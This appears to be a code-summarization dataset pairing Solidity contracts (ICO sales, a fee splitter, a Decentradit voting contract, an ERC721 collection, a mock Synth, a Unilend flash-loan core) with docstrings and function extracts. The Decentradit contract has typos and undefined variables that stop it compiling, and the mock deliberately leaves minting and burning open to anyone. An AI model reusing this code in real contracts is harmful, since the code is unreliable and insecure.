balances[_recipient] += _value;
totalSupply += _value;
Transfer(0x0, owner, _value);
Transfer(owner, _recipient, _value);
return true;
}
function issue(address _recipient, uint256 _value) whenNotPaused onlyOwner returns (bool success) {
assert(_value > 0);
_value = _value * 10**decimals;
balances[_recipient] += _value;
totalSupply += _value;
Transfer(0x0, owner, _value);
Transfer(owner, _recipient, _value);
return true;
}
}
// ================= Ico Token Contract end =======================
// ================= Actual Sale Contract Start ====================
contract IcoContract is SafeMath, Pausable {
IcoToken public ico;
address public ethFundDeposit;
address public icoAddress;
uint256 public fundingStartTime;
uint256 public minContribution;
uint256 public tokenCreationCap;
uint256 public totalSupply;
bool public isFinalized;
uint256 public tokenExchangeRate;
event MintICO(address from, address to, uint256 val);
function CreateICO(address to, uint256 val) internal returns (bool success) {
MintICO(0x0, to, val);
return ico.sell(to, val);
}
function IcoContract(
address _ethFundDeposit,
address _icoAddress,
uint256 _fundingStartTime,
uint256 _tokenExchangeRate,
uint256 _tokenCreationCap,
uint256 _minContribution
)
{
ethFundDeposit = _ethFundDeposit;
icoAddress = _icoAddress;
fundingStartTime = _fundingStartTime;
tokenExchangeRate = _tokenExchangeRate;
tokenCreationCap = _tokenCreationCap;
minContribution = _minContribution;
ico = IcoToken(icoAddress);
isFinalized = false;
}
function () payable {
createTokens(msg.sender, msg.value);
}
/// @dev Accepts ether and creates new ICO tokens.
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (_value >= minContribution);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateICO(_beneficiary, tokensToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateICO(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
require (!isFinalized);
// move to operational
isFinalized = true;
ethFundDeposit.transfer(this.balance);
}
}
|
Accepts ether and creates new ICO tokens.
|
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (_value >= minContribution);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateICO(_beneficiary, tokensToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateICO(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
| 1,978,205 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* Interface for the standard token.
* Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
interface EIP20Token {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function approve(address spender, uint256 value) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// The owner of this contract should be an externally owned account
contract Wibson2Purchase is Ownable {
// Address of the target contract
address public purchase_address = 0x40AF356665E9E067139D6c0d135be2B607e01Ab3;
// First partner address
address public first_partner_address = 0xeAf654f12F33939f765F0Ef3006563A196A1a569;
// Second partner address
address public second_partner_address = 0x1B78C30171A45CA627889356cf74f77d872682c2;
// Additional gas used for transfers. This is added to the standard 2300 gas for value transfers.
uint public gas = 1000;
// Payments to this contract require a bit of gas. 100k should be enough.
function() payable public {
execute_transfer(msg.value);
}
// Transfer some funds to the target purchase address.
function execute_transfer(uint transfer_amount) internal {
// First partner fee is 2.5 for each 100
uint first_fee = transfer_amount * 25 / 1000;
// Second partner fee is 2.5 for each 100
uint second_fee = transfer_amount * 25 / 1000;
transfer_with_extra_gas(first_partner_address, first_fee);
transfer_with_extra_gas(second_partner_address, second_fee);
// Send the rest
uint purchase_amount = transfer_amount - first_fee - second_fee;
transfer_with_extra_gas(purchase_address, purchase_amount);
}
// Transfer with additional gas.
function transfer_with_extra_gas(address destination, uint transfer_amount) internal {
require(destination.call.gas(gas).value(transfer_amount)());
}
// Sets the amount of additional gas allowed to addresses called
// @dev This allows transfers to multisigs that use more than 2300 gas in their fallback function.
function set_transfer_gas(uint transfer_gas) public onlyOwner {
gas = transfer_gas;
}
// We can use this function to move unwanted tokens in the contract
function approve_unwanted_tokens(EIP20Token token, address dest, uint value) public onlyOwner {
token.approve(dest, value);
}
// This contract is designed to have no balance.
// However, we include this function to avoid stuck value by some unknown mishap.
function emergency_withdraw() public onlyOwner {
transfer_with_extra_gas(msg.sender, address(this).balance);
}
}
|
Transfer some funds to the target purchase address. First partner fee is 2.5 for each 100 Second partner fee is 2.5 for each 100 Send the rest
|
function execute_transfer(uint transfer_amount) internal {
uint first_fee = transfer_amount * 25 / 1000;
uint second_fee = transfer_amount * 25 / 1000;
transfer_with_extra_gas(first_partner_address, first_fee);
transfer_with_extra_gas(second_partner_address, second_fee);
uint purchase_amount = transfer_amount - first_fee - second_fee;
transfer_with_extra_gas(purchase_address, purchase_amount);
}
| 5,730,573 |
// SPDX-License-Identifier: MIT
pragam solidity ^0.8.9;
contract Decentradit {
event PostCreated (bytes32 indexed postId, address indexed postOwner, bytes32 indexed parentId, bytes32 contentId, bytes32 categoryId);
event ContentAdded (bytes32 indexed contentId, string contentUri);
event CategoryCreated (bytes32 indexed categoryId, string category);
event Voted (bytes32 indexed postId, address indexed postOwner, address indexed voter, uint80 reputationPostOwner, uint80 reputationVoter, int40 postVotes, bool up, uint8 reputationAmount);
struct post {
address postOwner;
bytes32 parentPost;
bytes32 contentId;
int40 votes;
bytes32 categoryId;
}
mapping (address => mapping (bytes32 => uint80)) reputationRegistry; // Address points to the user, and their reputation is stored individually based on each category
mapping (bytes32 => string) categoryRegistry;
mapping (bytes32 => string) contentRegistry; // Stores the content of each post -> stored as URLs in IPFS as strings
mapping (bytes32 => post) postRegistry; // Stores the post information as "post" content type
mapping (address => mapping (bytes32 => bool)) voteRegistry; // Has the user voted on this post?
// Creating posts
function createPost(bytes32 _parentId, string calldata _contentUri, bytes32 _categoryId) external {
address _owner = msg.sender; // The owner of the post is the sender of the transaction
bytes32 _contentId = keccak256(abi.encode(_contentUri));
bytes32 _postId = keccak256(abi.encodePacked(_owner, _parentId, _contentId));
contentRegistry[_contentId] = _contentUri;
postRegistry[_postId].postOwner = _owner;
postRegistry[_postId].parentPost = _parentId;
postRegistry[_postId].contentId = _contentId;
emit ContentAdded(_contentId, _contentUri);
emit PostCreated (_postId, _owner, _parentId, _contentId, _categoryId);
}
// Voting on posts
function voteUp(bytes32 _postId, uint8 _reputationAdded) external {
address _voter = msg.sender;
bytes32 _category = postRegistry[_postId].categoryId;
address _contributor = postRegistry[_postId].postOwner;
require (postRegistry[_postId].postOwner != _voter, "You cannot vote your own posts"); // Prevent users from voting on their own posts on the network
require (voteRegistry[_voter][_postId] == false, "Sender has already voted in this post");
require (validateReputationChange(_voter,_category,_reputationAdded) == true, "This address cannot add this amount of reputation points");
postRegistry[_postId].votes += 1;
reputationRegistry[_contributor][_category] += _reputationAdded;
voteRegistry[_voter][_postId] = true;
emit Voted(_postId, _contributor, _voter, reputationRegistry[_contributor][_category], reputationRegistry[_voter][_category], postRegistry[_postId].votes, true, _reputationAdded);
}
function voteDown(bytes32 _postId, uint8 _reputationAdded) external {
address _voter = msg.sender;
bytes32 _category = postRegistry[_postId].categoryId;
address _contributor = postRegistry[_postId].postOwner;
require(voteRegistry[_voter][_postId] == false, "Sender has already voted in this post");
require (validateReputationChange(_voter,_category,_reputationTaken) == true, "This address cannot take this amount of reputation points");
postRegistry[_postId].votes >= 1 ? postRegistry[_postId].votes -= 1: reputationRegistry[_contributor][_category] =0;
voteRegistry[_voter][_postId] = true;
emit Voted(_postId, _contributor, _voter, reputationRegistry[_contributor][_category], reputationRegistry[_voter][_category], postRegistry[_postId].votes, false, _reputationTaken);
}
// Validating the change in reputation
function validateReputationChange(address _sender, bytes32 _categoryId, uint8 _reputationAdded) internal view returns (bool _result) {
uint80 _reputation = reputationRegistry[_sender][_categoryId];
if (_reputation < 2 ) {
_reputationAdded == 1 ? _result = true: _result = false;
} else {
2**_reputationAdded <= _reputation ? _result = true: _result = false; // // Amount of reputation you can add/take away is based on logs (power/sqrt of 2s/multiplesOf2)
}
}
// Creating a category
function addCategory(string callldata _category) external {
bytes32 _categoryId = keccak256(abi.encode(_category));
categoryRegistry[_categoryId] = _category;
emit CategoryCreated(_categoryId, _category);
}
function getContent(bytes32 _contentId) public view returns (string memory) {
return contentRegistry[_contentId];
}
function getCategory(bytes32 _categoryId) public view returns (string memory) {
return categoryRegistry[_categoryId];
}
function getReputation(address _address, bytes32 _categoryId) public view returns(uint80) {
return reputationRegistry[_address][_categoryId];
}
function getPost(bytes32 _postId) public view returns(address, bytes32, bytes32, int72, bytes32) {
return (
postRegistry[_postId].postOwner,
postRegistry[_postId].parentPost,
postRegistry[_postId].contentId,
postRegistry[_postId].votes,
postRegistry[_postId].categoryId,
)
}
}
|
Creating a category
|
function addCategory(string callldata _category) external {
bytes32 _categoryId = keccak256(abi.encode(_category));
categoryRegistry[_categoryId] = _category;
emit CategoryCreated(_categoryId, _category);
}
| 12,913,626 |
./partial_match/1/0x19E43eFDA0c02Ea7049a6bE91B49eF1aD1bC1a1D/sources/src/NFTIME.sol
|
See {ERC721-_beforeTokenTransfer}.
|
function _beforeTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
)
internal
override(ERC721, ERC721Enumerable, ERC721Pausable)
{
super._beforeTokenTransfer(from, to, firstTokenId, batchSize);
}
| 4,241,482 |
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.11;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract DefijesusCollection is ERC721 {
address public owns;
uint256 public tid = 0;
mapping(uint256 => string) public URIS;
constructor() payable ERC721("defijesus.eth collectibles", "JESUS") {
owns = msg.sender;
}
function transferOwnership(address newOwner) external payable {
require(owns == msg.sender);
owns = newOwner;
}
function mint(string calldata ipfsHash) external payable {
require(owns == msg.sender);
unchecked {
uint256 id = tid++;
URIS[id] = ipfsHash;
_mint(msg.sender, id);
}
}
function editURI(uint256 id, string calldata ipfsHash) external payable {
require(owns == msg.sender);
URIS[id] = ipfsHash;
}
function tokenURI(uint256 id) public view override returns (string memory) {
return URIS[id];
}
}
|
Counter overflow is incredibly unrealistic.
|
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
| 6,616,637 |
pragma solidity ^0.5.16;
import "../ExternStateToken.sol";
import "../interfaces/ISystemStatus.sol";
import "../interfaces/IAddressResolver.sol";
import "../interfaces/IFeePool.sol";
// Mock synth that also adheres to system status
contract MockSynth is ExternStateToken {
IAddressResolver private addressResolver;
bytes32 public currencyKey;
// Where fees are pooled in sUSD
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
constructor(
address payable _proxy,
TokenState _tokenState,
string memory _name,
string memory _symbol,
uint _totalSupply,
address _owner,
bytes32 _currencyKey
) public ExternStateToken(_proxy, _tokenState, _name, _symbol, _totalSupply, 18, _owner) {
currencyKey = _currencyKey;
}
function setAddressResolver(IAddressResolver _resolver) external {
addressResolver = _resolver;
}
// Used for PurgeableSynth to test removal
function setTotalSupply(uint256 _totalSupply) external {
totalSupply = _totalSupply;
}
/**
* @notice _transferToFeeAddress function
* non-sUSD synths are exchanged into sUSD via synthInitiatedExchange
* notify feePool to record amount as fee paid to feePool */
function _transferToFeeAddress(address to, uint value) internal returns (bool) {
uint amountInUSD;
// sUSD can be transferred to FEE_ADDRESS directly
if (currencyKey == "sUSD") {
amountInUSD = value;
_transferByProxy(messageSender, to, value);
} else {
// for now, do nothing
}
// Notify feePool to record sUSD to distribute as fees
IFeePool(addressResolver.getAddress("FeePool")).recordFeePaid(amountInUSD);
return true;
}
function transfer(address to, uint value) external optionalProxy returns (bool) {
ISystemStatus(addressResolver.getAddress("SystemStatus")).requireSynthActive(currencyKey);
// transfers to FEE_ADDRESS will be exchanged into sUSD and recorded as fee
if (to == FEE_ADDRESS) {
return _transferToFeeAddress(to, value);
}
// transfers to 0x address will be burned
if (to == address(0)) {
this.burn(messageSender, value);
return true;
}
return _transferByProxy(messageSender, to, value);
}
function transferFrom(
address from,
address to,
uint value
) external optionalProxy returns (bool) {
ISystemStatus(addressResolver.getAddress("SystemStatus")).requireSynthActive(currencyKey);
return _transferFromByProxy(messageSender, from, to, value);
}
event Issued(address indexed account, uint value);
event Burned(address indexed account, uint value);
// Allow these functions which are typically restricted to internal contracts, be open to us for mocking
function issue(address account, uint amount) external {
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emit Issued(account, amount);
}
function burn(address account, uint amount) external {
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emit Burned(account, amount);
}
}
|
transfers to FEE_ADDRESS will be exchanged into sUSD and recorded as fee transfers to 0x address will be burned
|
function transfer(address to, uint value) external optionalProxy returns (bool) {
ISystemStatus(addressResolver.getAddress("SystemStatus")).requireSynthActive(currencyKey);
if (to == FEE_ADDRESS) {
return _transferToFeeAddress(to, value);
}
if (to == address(0)) {
this.burn(messageSender, value);
return true;
}
return _transferByProxy(messageSender, to, value);
}
| 917,200 |
./full_match/4/0x342d7feB4f753693CC83a5D73F5E73d643038bFa/sources/contracts/BondDepository.sol
|
converts bond price to DAI value return price_ uint/
|
function bondPriceInUSD() public view returns ( uint price_ ) {
if( isLiquidityBond ) {
price_ = bondPrice().mul( bondCalculator.markdown( address(principle) ) ) / 100 ;
price_ = bondPrice().mul( 10 ** principle.decimals() ) / 100;
}
} else {
}
| 648,752 |
./full_match/1/0x40f1863bBAd5E614Becb366656BF6ACcbdb635F7/sources/contracts/BountyV1.sol
|
Closes a bounty and returns the funds to the funder bounty The ID of the bounty to close The bounty may be closed by anyone after the unlock time when there is no active submission. Funds are returned to the funder. Approvers can close bounties before expiration.
|
function closeBounty(uint256 bounty) external {
require(amount(bounty) > 0, "BountyV1: bounty not funded");
require(expiration(bounty) <= block.timestamp || approver(_msgSender()), "BountyV1: only approvers can close before expiration");
require(_submissions[bounty].submitter == address(0), "BountyV1: has active submission");
require(!closed(bounty), "BountyV1: bounty already closed");
uint256 excessFromStaking = _bounties[bounty].amount - _bounties[bounty].initialAmount;
_bounties[bounty].closed = true;
SafeERC20.safeTransfer(IERC20(_arkm), _bounties[bounty].funder, _bounties[bounty].initialAmount);
_accruedFees += excessFromStaking;
emit CloseBounty(
bounty,
_bounties[bounty].funder,
_msgSender(),
_bounties[bounty].initialAmount,
excessFromStaking
);
| 8,397,891 |
pragma solidity 0.6.2;
// SPDX-License-Identifier: MIT
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol";
import "openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol";
import "./IFlashLoanReceiver.sol";
import "./EthAddressLib.sol";
import "./UnilendFDonation.sol";
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract UFlashLoanPool is ERC20 {
using SafeMath for uint256;
address public token;
address payable public core;
constructor(
address _token,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol) public {
token = _token;
core = payable(msg.sender);
}
modifier onlyCore {
require(
core == msg.sender,
"Not Permitted"
);
_;
}
function calculateShare(uint _totalShares, uint _totalAmount, uint _amount) internal pure returns (uint){
if(_totalShares == 0){
return Math.sqrt(_amount.mul( _amount ));
} else {
return (_amount).mul( _totalShares ).div( _totalAmount );
}
}
function getShareValue(uint _totalAmount, uint _totalSupply, uint _amount) internal pure returns (uint){
return ( _amount.mul(_totalAmount) ).div( _totalSupply );
}
function getShareByValue(uint _totalAmount, uint _totalSupply, uint _valueAmount) internal pure returns (uint){
return ( _valueAmount.mul(_totalSupply) ).div( _totalAmount );
}
function deposit(address _recipient, uint amount) external onlyCore returns(uint) {
uint _totalSupply = totalSupply();
uint tokenBalance;
if(EthAddressLib.ethAddress() == token){
tokenBalance = address(core).balance;
}
else {
tokenBalance = IERC20(token).balanceOf(core);
}
uint ntokens = calculateShare(_totalSupply, tokenBalance.sub(amount), amount);
require(ntokens > 0, 'Insufficient Liquidity Minted');
// MINT uTokens
_mint(_recipient, ntokens);
return ntokens;
}
function redeem(address _recipient, uint tok_amount) external onlyCore returns(uint) {
require(tok_amount > 0, 'Insufficient Liquidity Burned');
require(balanceOf(_recipient) >= tok_amount, "Balance Exceeds Requested");
uint tokenBalance;
if(EthAddressLib.ethAddress() == token){
tokenBalance = address(core).balance;
}
else {
tokenBalance = IERC20(token).balanceOf(core);
}
uint poolAmount = getShareValue(tokenBalance, totalSupply(), tok_amount);
require(tokenBalance >= poolAmount, "Not enough Liquidity");
// BURN uTokens
_burn(_recipient, tok_amount);
return poolAmount;
}
function redeemUnderlying(address _recipient, uint amount) external onlyCore returns(uint) {
uint tokenBalance;
if(EthAddressLib.ethAddress() == token){
tokenBalance = address(core).balance;
}
else {
tokenBalance = IERC20(token).balanceOf(core);
}
uint tok_amount = getShareByValue(tokenBalance, totalSupply(), amount);
require(tok_amount > 0, 'Insufficient Liquidity Burned');
require(balanceOf(_recipient) >= tok_amount, "Balance Exceeds Requested");
require(tokenBalance >= amount, "Not enough Liquidity");
// BURN uTokens
_burn(_recipient, tok_amount);
return tok_amount;
}
function balanceOfUnderlying(address _address, uint timestamp) public view returns (uint _bal) {
uint _balance = balanceOf(_address);
if(_balance > 0){
uint tokenBalance;
if(EthAddressLib.ethAddress() == token){
tokenBalance = address(core).balance;
}
else {
tokenBalance = IERC20(token).balanceOf(core);
}
address donationAddress = UnilendFlashLoanCore( core ).donationAddress();
uint _balanceDonation = UnilendFDonation( donationAddress ).getCurrentRelease(token, timestamp);
uint _totalPoolAmount = tokenBalance.add(_balanceDonation);
_bal = getShareValue(_totalPoolAmount, totalSupply(), _balance);
}
}
function poolBalanceOfUnderlying(uint timestamp) public view returns (uint _bal) {
uint tokenBalance;
if(EthAddressLib.ethAddress() == token){
tokenBalance = address(core).balance;
}
else {
tokenBalance = IERC20(token).balanceOf(core);
}
if(tokenBalance > 0){
address donationAddress = UnilendFlashLoanCore( core ).donationAddress();
uint _balanceDonation = UnilendFDonation( donationAddress ).getCurrentRelease(token, timestamp);
uint _totalPoolAmount = tokenBalance.add(_balanceDonation);
_bal = _totalPoolAmount;
}
}
}
contract UnilendFlashLoanCore is Context, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public admin;
address payable public distributorAddress;
address public donationAddress;
mapping(address => address) public Pools;
mapping(address => address) public Assets;
uint public poolLength;
uint256 private FLASHLOAN_FEE_TOTAL = 5;
uint256 private FLASHLOAN_FEE_PROTOCOL = 3000;
constructor() public {
admin = msg.sender;
}
/**
* @dev emitted when a flashloan is executed
* @param _target the address of the flashLoanReceiver
* @param _reserve the address of the reserve
* @param _amount the amount requested
* @param _totalFee the total fee on the amount
* @param _protocolFee the part of the fee for the protocol
* @param _timestamp the timestamp of the action
**/
event FlashLoan(
address indexed _target,
address indexed _reserve,
uint256 _amount,
uint256 _totalFee,
uint256 _protocolFee,
uint256 _timestamp
);
event PoolCreated(address indexed token, address pool, uint);
/**
* @dev emitted during a redeem action.
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _timestamp the timestamp of the action
**/
event RedeemUnderlying(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _timestamp
);
/**
* @dev emitted on deposit
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _timestamp the timestamp of the action
**/
event Deposit(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _timestamp
);
/**
* @dev only lending pools configurator can use functions affected by this modifier
**/
modifier onlyAdmin {
require(
admin == msg.sender,
"The caller must be a admin"
);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the provided _amount input parameter
* is not zero.
* @param _amount the amount provided
**/
modifier onlyAmountGreaterThanZero(uint256 _amount) {
require(_amount > 0, "Amount must be greater than 0");
_;
}
receive() payable external {}
/**
* @dev returns the fee applied to a flashloan and the portion to redirect to the protocol, in basis points.
**/
function getFlashLoanFeesInBips() public view returns (uint256, uint256) {
return (FLASHLOAN_FEE_TOTAL, FLASHLOAN_FEE_PROTOCOL);
}
/**
* @dev gets the bulk uToken contract address for the reserves
* @param _reserves the array of reserve address
* @return the address of the uToken contract
**/
function getPools(address[] calldata _reserves) external view returns (address[] memory) {
address[] memory _addresss = new address[](_reserves.length);
address[] memory _reserves_ = _reserves;
for (uint i=0; i<_reserves_.length; i++) {
_addresss[i] = Pools[_reserves_[i]];
}
return _addresss;
}
/**
* @dev balance of underlying asset for user address
* @param _reserve reserve address
* @param _address user address
* @param timestamp timestamp of query
**/
function balanceOfUnderlying(address _reserve, address _address, uint timestamp) public view returns (uint _bal) {
if(Pools[_reserve] != address(0)){
_bal = UFlashLoanPool(Pools[_reserve]).balanceOfUnderlying(_address, timestamp);
}
}
/**
* @dev balance of underlying asset for pool
* @param _reserve reserve address
* @param timestamp timestamp of query
**/
function poolBalanceOfUnderlying(address _reserve, uint timestamp) public view returns (uint _bal) {
if(Pools[_reserve] != address(0)){
_bal = UFlashLoanPool(Pools[_reserve]).poolBalanceOfUnderlying(timestamp);
}
}
/**
* @dev set new admin for contract.
* @param _admin the address of new admin
**/
function setAdmin(address _admin) external onlyAdmin {
require(_admin != address(0), "UnilendV1: ZERO ADDRESS");
admin = _admin;
}
/**
* @dev set new distributor address.
* @param _address new address
**/
function setDistributorAddress(address payable _address) external onlyAdmin {
require(_address != address(0), "UnilendV1: ZERO ADDRESS");
distributorAddress = _address;
}
/**
* @dev disable changing donation pool donation address.
**/
function setDonationDisableNewCore() external onlyAdmin {
UnilendFDonation(donationAddress).disableSetNewCore();
}
/**
* @dev set new core address for donation pool.
* @param _newAddress new address
**/
function setDonationCoreAddress(address _newAddress) external onlyAdmin {
require(_newAddress != address(0), "UnilendV1: ZERO ADDRESS");
UnilendFDonation(donationAddress).setCoreAddress(_newAddress);
}
/**
* @dev set new release rate from donation pool for token
* @param _reserve reserve address
* @param _newRate new rate of release
**/
function setDonationReleaseRate(address _reserve, uint _newRate) external onlyAdmin {
require(_reserve != address(0), "UnilendV1: ZERO ADDRESS");
UnilendFDonation(donationAddress).setReleaseRate(_reserve, _newRate);
}
/**
* @dev set new flash loan fees.
* @param _newFeeTotal total fee
* @param _newFeeProtocol protocol fee
**/
function setFlashLoanFeesInBips(uint _newFeeTotal, uint _newFeeProtocol) external onlyAdmin returns (bool) {
require(_newFeeTotal > 0 && _newFeeTotal < 10000, "UnilendV1: INVALID TOTAL FEE RANGE");
require(_newFeeProtocol > 0 && _newFeeProtocol < 10000, "UnilendV1: INVALID PROTOCOL FEE RANGE");
FLASHLOAN_FEE_TOTAL = _newFeeTotal;
FLASHLOAN_FEE_PROTOCOL = _newFeeProtocol;
return true;
}
/**
* @dev transfers to the user a specific amount from the reserve.
* @param _reserve the address of the reserve where the transfer is happening
* @param _user the address of the user receiving the transfer
* @param _amount the amount being transferred
**/
function transferToUser(address _reserve, address payable _user, uint256 _amount) internal {
require(_user != address(0), "UnilendV1: USER ZERO ADDRESS");
if (_reserve != EthAddressLib.ethAddress()) {
ERC20(_reserve).safeTransfer(_user, _amount);
} else {
//solium-disable-next-line
(bool result, ) = _user.call{value: _amount, gas: 50000}("");
require(result, "Transfer of ETH failed");
}
}
/**
* @dev transfers to the protocol fees of a flashloan to the fees collection address
* @param _token the address of the token being transferred
* @param _amount the amount being transferred
**/
function transferFlashLoanProtocolFeeInternal(address _token, uint256 _amount) internal {
if (_token != EthAddressLib.ethAddress()) {
ERC20(_token).safeTransfer(distributorAddress, _amount);
} else {
(bool result, ) = distributorAddress.call{value: _amount, gas: 50000}("");
require(result, "Transfer of ETH failed");
}
}
/**
* @dev allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned. NOTE There are security concerns for developers of flashloan receiver contracts
* that must be kept into consideration.
* @param _receiver The address of the contract receiving the funds. The receiver should implement the IFlashLoanReceiver interface.
* @param _reserve the address of the principal reserve
* @param _amount the amount requested for this flashloan
**/
